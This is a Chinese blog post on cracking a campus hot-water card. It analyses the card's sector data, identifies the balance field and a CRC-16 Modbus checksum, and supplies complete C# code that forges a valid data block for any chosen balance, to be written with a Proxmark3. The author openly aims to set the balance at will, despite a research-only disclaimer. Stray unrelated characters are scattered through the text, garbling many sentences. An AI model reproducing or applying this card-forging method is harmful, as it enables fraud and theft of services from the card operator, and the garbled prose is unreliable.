本文只作技術(shù)交流分享研究之用,請勿用于非法用途垢村,否則后果自負(fù)铛楣。
上一篇文章是關(guān)于破解校園卡密碼時發(fā)生的瑣事的:http://www.reibang.com/p/5eff935a5e9f
02扇區(qū)數(shù)據(jù)分析
上一篇文章結(jié)束,卡片復(fù)制也完成了看成。
但是按傅,僅限于復(fù)制卡豈不是很無趣嗎捉超,我們得知道扇區(qū)里面的數(shù)據(jù)代表什么含義胧卤,隨意控制余額才行啊唯绍。
根據(jù)之前的判斷拼岳,02扇區(qū)是存儲了洗澡熱水的數(shù)據(jù),我們來觀察一下
2 扇區(qū)
0區(qū)塊:00 02 3A DE 06 85 11 11 11 00 00 00 00 10 15 F5
1區(qū)塊:00 05 00 00 13 E5 00 00 00 00 00 00 00 00 8A AB
2區(qū)塊:00 05 00 00 13 E8 00 00 00 00 00 00 00 00 86 3A
注:學(xué)校的這個水卡機是用水量對應(yīng)的金額每到0.03元進行一次扣費况芒。另外只要刷一次就扣0.03元惜纸,不管有沒有出水
0塊在幾次刷卡前后都未發(fā)生變化,暫時不考慮
13E5和13E8兩個數(shù)值不同而相似绝骚,首先懷疑它
轉(zhuǎn)為10進制分別為5093和5096
而卡上正好剩余了50.93元耐版,于是這個數(shù)值的作用就顯而易見了,另外一條為上一次交易的數(shù)據(jù)
復(fù)制一張卡去刷幾次看看压汪,記錄下來
50.93
0005000013E50000000000000000A00A
0005000013E80000000000000000F89A
50.87
0005000013DF00000000000000008AAB
0005000013E20000000000000000863A
50.84
0005000013DF00000000000000008AAB
0005000013DC00000000000000009E5B
50.81
0005000013D90000000000000000A10B
0005000013DC00000000000000009E5B
40.91
000500000FFB0000000000000000E000
000500000FFE0000000000000000DF50
兩條數(shù)據(jù)相互覆蓋粪牲,沒有先后關(guān)系
前面有一個5一直未發(fā)生改變,上次充值前是4止剖,可能是充值一次+1,暫時不管它
所以重點就落在最后的四位上了
每次刷卡后這四位都會改變,且直接修改金額后無法讀卡劣光,所以這四位就是校驗碼
將數(shù)據(jù)刷回50.93的那條贞岭,重復(fù)刷卡-讀卡步驟,得出的校驗碼和前一次是相同的皮获,這說明它們之間存在一一對應(yīng)關(guān)系
兩次刷卡間隔很短焙蚓,但校驗碼差別較大,可以排除時間碼洒宝、整數(shù)與小數(shù)相加或者一些倒位操作的可能
于是現(xiàn)在的問題就在如何找到這個校驗算法了购公,能不能找到還是得看人品
首先試試下面軟件的各種算法,都沒有得出理想的結(jié)果
既然可以用MD5雁歌、SHA-1校驗宏浩,也可以用平時在winrar上經(jīng)常看見的CRC32校驗算法
于是我找到了這個在線計算CRC的網(wǎng)站
https://www.lammertbies.nl/comm/info/crc-calculation.html
這里的算法多用于串口通信的數(shù)據(jù)校驗将宪,我嘗試把金額和校驗位組合計算CRC16
意外地發(fā)現(xiàn)CRC-16和CRC-16(Modbus)兩種校驗碼是一致的绘闷!
如果加上前面的充值計數(shù)呢
CRC16同樣是一致的,而CRC16(Modbus)變成了0较坛!
那么至此印蔗,已經(jīng)可以說水卡的破解已經(jīng)完成了
因為只要根據(jù)修改后的數(shù)據(jù)逆向算出校驗碼就可以通過機器的驗證了
ModBus 通信協(xié)議的 CRC ( 冗余循環(huán)校驗碼含2個字節(jié), 即 16 位二進制數(shù)。CRC 碼由發(fā)送設(shè)備計算, 放置于所發(fā)送信息幀的尾部丑勤。接收信息設(shè)備再重新計算所接收信息 (除 CRC 之外的部分)的 CRC, 比較計算得到的 CRC 是否與接收到CRC相符, 如果兩者不相符, 則認(rèn)為數(shù)據(jù)出錯华嘹。
來源及具體原理:https://www.cnblogs.com/jungle1989/p/6372527.html
最簡單粗暴的方法就是窮舉校驗碼,一共2^16即65536種情況法竞,然后進行CRC校驗耙厚,比對結(jié)果為0就是最終的校驗碼(其實是沒找到反向計算的算法)
C#由16進制算CRC16 modbus:https://www.cnblogs.com/oukunqing/p/5820640.html
輸入一個數(shù)比如50.93
輸出的0005000013e50000000000000000a00a后直接填到pm3里寫入就好了
C#代碼强挫,本著精簡的原則沒有對數(shù)據(jù)進行檢查(其實是懶= =):
using System;
using System.Text;
class Program {
static void Main(string[] args) {
string[] str = Console.ReadLine().Split('.');
string hexMoney = Convert.ToString(Convert.ToInt32(str[0] + str[1]), 16).PadLeft(4, '0'), str0 = "00050000";
int i = 0;
while(i<0xFFFF && CRC16(str0+hexMoney+"0000000000000000"+Convert.ToString(i,16))!="0000") i++;
Console.WriteLine(str0+hexMoney+"0000000000000000"+Convert.ToString(i,16));
Console.ReadLine();
}
public static string CRC16(string str) {
StringBuilder s = new StringBuilder();
foreach (short c in str.ToCharArray())
if (c <= 0 || c >= 127) s.Append(c.ToString("X4"));
else s.Append((char)c);
string hex = s.ToString();
byte[] result = new byte[hex.Length / 2];
for (int i = 0, c = result.Length; i < c; i++)
result[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
ushort crc = 0xFFFF;
for (int i = 0; i < result.Length; i++) {
crc = (ushort)(crc ^ (result[i]));
for (int j = 0; j < 8; j++)
crc = (crc&1)!=0?(ushort)((crc>>1)^0xA001):(ushort)(crc>>1);
}
byte hi = (byte)((crc & 0xFF00) >> 8);
byte lo = (byte)(crc & 0x00FF);
return Convert.ToString(hi*0x100+lo, 16).ToUpper().PadLeft(4, '0');
}
}
于是就可以猥瑣欲為了
以后再找找開水卡是怎樣校驗的
飯卡是聯(lián)網(wǎng)的,別想了